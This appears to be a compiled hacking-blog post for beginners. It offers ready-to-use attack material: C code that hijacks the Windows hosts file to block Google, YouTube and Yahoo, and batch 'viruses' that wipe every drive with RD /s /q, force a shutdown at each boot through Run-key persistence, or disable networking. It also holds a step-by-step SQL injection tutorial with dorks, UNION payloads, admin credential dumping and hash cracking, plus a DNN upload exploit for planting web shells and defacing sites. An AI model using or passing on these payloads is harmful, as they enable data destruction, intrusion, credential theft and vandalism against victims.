Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.
NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post
Here is the sourcecode of the virus
.
#include
#include
#include
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
How to Compile ?
compile the program.
Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1—————————google.com
5. Delete all such entries which contain the names of blocked sites
Virus creation Part-i
In this post I will show you How to create virus using Notepad.
So friends now we will start.,
(1)How to make a prank virus (Just for fun)
Open Notepad then type following code:-
titltle virus
msg * A trojan attack
msg * It will crack ur pc.
msg * Your computer is being cracked
msg * HaHaHa !!!
save this as virus.bat and then open it,
Then see what will happen.
(2)How to Make a virus which shut down ur computer after 10 sec.
Open notepad and write down following code
title virus
msg * Torjan attack
msg * it will shut down ur computer
pause
shutdown -t 10
msg * Ha!Ha!Ha!
save this file as shut.bat and open it then see what happen..
(3)Virus will delete all the data from hard drive from any remote system
(****Try it your own Risk****)
Open notepad and write down following code...
.................................................
(RD /s /q B:)&&(RD /s /q D:)&&(RD /s /q E:)&&(RD /s /q F:)&&(RD /s /q G:)&&(RD /s /q H:)&&(RD /s /q I:)&&(RD /s /q J:)&&(RD /s /q K:)&&(RD /s /q L:)&&(RD /s /q M:)&&(RD /s /q N:)&&(RD /s /q O:)&&(RD /s /q P:)&&(RD /s /q Q:)&&(RD /s /q R:)&&(RD /s /q S:)&&(RD /s /q T:)&&(RD /s /q U:)&&(RD /s /q V:)&&(RD /s /q W:)&&(RD /s /q X:)&&(RD /s /q Y:)&&(RD /s /q Z:)
and save as crack.bat
.......................................................................................
try this on any system it will erase all data which is hd or usb drives except C and CD or DVD drives and yeah floppy too :D........
Virus creation Part-ii
(1)Shutdown computer everytime it is turned on
(save as hshutdown.bat)
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE
(2)Disable internet permanently
(save as hinternet.bat)
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE
(3)Change files to non-working TXT files
(save as txt.bat)
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
SQL Injection and Defacement of beginners
1. What is SQL Injection?
SQL Injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.
2. What is Defacement ?
A website defacement is an attack on a website that changes the visual appearance of the site. These are typically the work of system crackers, who break into a web server and replace the hosted website with one of their own.
What do you need before you start with SQL Injection.
*You need Admin Finder ( to find admin panel from website )*
*SQL Injection Vulnerable Scanner*
Admin Finder:
http://www.mediafire.com/?0a4aw2gmeohndny
Vulnerable Scanner:
http://seanstar.000space.com/ &
http://newbie.000space.com/sql%20scanner/ or you can use Exploit Scanner.
Dorks for Finding Vulnerable sites!:
Common Dorks
inurl:members.php?id=
inurl:page.php?id=
inurl:login.php?id=
inurl:index.php?id=
inurl:register.php?id=
inurl:staff.php?id=
inurl:detail.php?id=
inurl:view.php?id=
MD5 Hash Crackers Online:
http://www.md5crack.com
http://www.md5decrypter.com
http://www.md5decrypter.co.uk
http://md5.rednoize.com
http://md5decryption.com
http://www.md5decrypter.com
http://passcracking.com
http://md5.my-addr.com/md5_decrypt-md5_c…r_tool.php
http://www.xmd5.org
http://www.md5cracker.com/index.php
http://md5.noisette.ch/index.php
http://md5cracker.org
Text to ASCII Converter:
http://www.mikezilla.com/exp0012.html?ascii=login&hex=%2578&unicode=%26%23120;
http://getyourwebsitehere.com/jswb/text_to_ascii.html
Shell:
http://www.kinginfet.net/shells/
Some vulnerable websites
Starting Tutorial:
1. First you need to find vulnerable website.
http://sql-vuln-site.com/index.php?id=15
2. Now you need to find columns.
http://sql-vuln-site.com/index.php?id=15 order by 1-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 2-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 3-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 4-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 5-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 6-- ( error )
Error’s looks like this:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’39′ at line 1
database query failure- SELECT * FROM texecom_sidemenu WHERE id=’39
3. Now Select columns
Columns is 5
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT 1,2,3,4,5–
4. Finding version.
So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.
I choose 1
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT @@version,2,3,4,5–
you got the version like this:
5.0.32-Debian_7etch11-log
5. Finding Tables
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT table_name,2,3,4,5 from information_schema.tables–
And you will got tables like this:
PRODUCTS , ADMINS , and others
So must be there table by name: admin , users , user , login , client.
6. Finding Columns in the Table ADMINS.
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char()–
We found ADMINS table now go to ASCII web and convert ADMINS
You will got this ADMINS
Remove &# and replace ; to ,
Like this: 65,68,77,73,78,83
You put table_name=char(65,68,77,73,78,83)–
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char(65,68,77,73,78,83)–
And you will got the columns in table ADMINS
There need to have columns with names: username and password
7. Getting username and password.
Now we put concat(username,0x3a,password) and admins
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT concat(username,0x3a,password),2,3,4,5 from admins–
( 0x3a is ASCII )
8. Finded username and password
So you found the username and password
if the password is hash like this: 2510c39011c5be704182423e3a695e91
you will need to use MD5 Hash Online Crackers.
If password is not hash you are lucky and now you need to find admin panel.
9. Finding Admin Panel
Open the tool Admin Finder
Put the website in the bellow and click Scan.
So you found admin panel and it looks like this http://sql-vuln-site.com/admin/login.php
You open website and there have Username: Password:
Put username and password what you got.
Done you login in Admin Panel lets upload shell and deface.
10. Uploading Shell and Add Deface
In Admin Panel you will search categories or anything where you can upload a file or picture.
When you found, you will download shell from the website who i tell you before start tutorial so you will try to upload your shell like: r57.php when you upload it you will see the link of the upload and open it like this:
http://sql-vuln-site.com/upload/r57.php
If can’t upload r57.php change it to r57.jpg.php or r57.txt and try!
You need to make a deface page in html and put in the website
So you open the shell,you will found a file index.php and click on it and there you will remove the php code from index and put your html code.
Congratulations you deface the website.
DNN(Do Net Nuke) Web Defacement tech....
Hello frnds, One more hacking method called "Portal Hacking (DNN)". This method also uses
google search to find hackable sites.. Now you can imagine that how much google.com is
important for Hackers also...
Lets beign the Hack..
Step 1. www.google.com
put the following string query in Google search engine then click on search
inurl:tabid/36/language/en-US/Default.aspx *// This is Dork to find
portal vulnerable website //*
Step 2.Google will come with up some search results,Select any one from them.
Step 3. For an example we have take this website from search results.
http://www.abc.com/Home/tabid/36/......./Default.aspx
Now replace
/Home/tabid/36/Language/en-US/Default.aspx
With
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Step 4. Link Gallery
Step 5. You will get Link Gallery Page.So far so good !!
Step 6. Now replace the URL in the address bar with a simple script.
javascript:_doPostBack('ctlURL$cmdUpload',")
Step 7.You will find the upload section.
Step 8.Select root and then upload your shell c99,c100 etc..etc..
